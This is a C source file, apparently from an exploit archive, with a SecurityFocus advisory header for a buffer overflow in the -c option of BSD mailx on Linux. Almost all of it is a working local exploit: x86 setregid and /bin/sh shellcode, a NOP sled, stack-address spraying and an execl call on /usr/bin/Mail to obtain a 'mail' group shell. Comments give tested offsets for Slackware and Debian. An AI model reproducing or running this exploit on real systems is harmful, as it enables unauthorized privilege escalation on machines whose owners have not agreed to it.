59 lines
No EOL
1.9 KiB
C
59 lines
No EOL
1.9 KiB
C
/*
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source: https://www.securityfocus.com/bid/1305/info
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Some Linux distributions ship with BSD mailx 8.1.1-10 (On Slackware 7.x it can be found as /usr/bin/Mail).
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A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition that is present when the -c parameter is used at the command line.
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On systems where it is installed setgid, this vulnerability can be exploited to gain group 'mail' privileges.
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*/
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/*
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* ..just couse it is no longer secret :>
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*
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* mailx sploit (linux x86)
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* funkySh 3/07/99
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* tested under Slackware 3.6,4.0,7.0 offset = 0-500
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* Debian 2.0r2,2.1,2.2 offset = -7000 ..ugh ;]
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*
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* buffer overrun in cc-addr option, gives "mail" group privileges
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* (if mailx is installed setgid mail).
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* Remember to define GID - it is different on Slack/Debian
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*
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*/
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#include <stdio.h>
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#define GID "\x08" // Debian
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//#define GID "\x0c" // Slackware
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char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
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"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
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GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
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"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
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"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
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"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
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/* setregid + generic shell code */
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#define BUFFER 10000
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#define NOP 0x90
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#define PATH "/usr/bin/Mail"
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char buf[BUFFER];
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unsigned long getesp(void) {
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__asm__("movl %esp,%eax");
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}
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int main(int argc, char * argv[])
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{
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int i, offset = 0;
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long address;
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if(argc > 1) offset = atoi(argv[1]);
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address = getesp() -11000 + offset;
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memset(buf,NOP,BUFFER);
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memcpy(buf+800,code,strlen(code));
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for(i=876;i<BUFFER-2;i+=4)
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*(int *)&buf[i]=address;
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fprintf (stderr, "Hit '.' to get shell..\n");
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execl(PATH, PATH, "x","-s","x","-c", buf,0);
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} |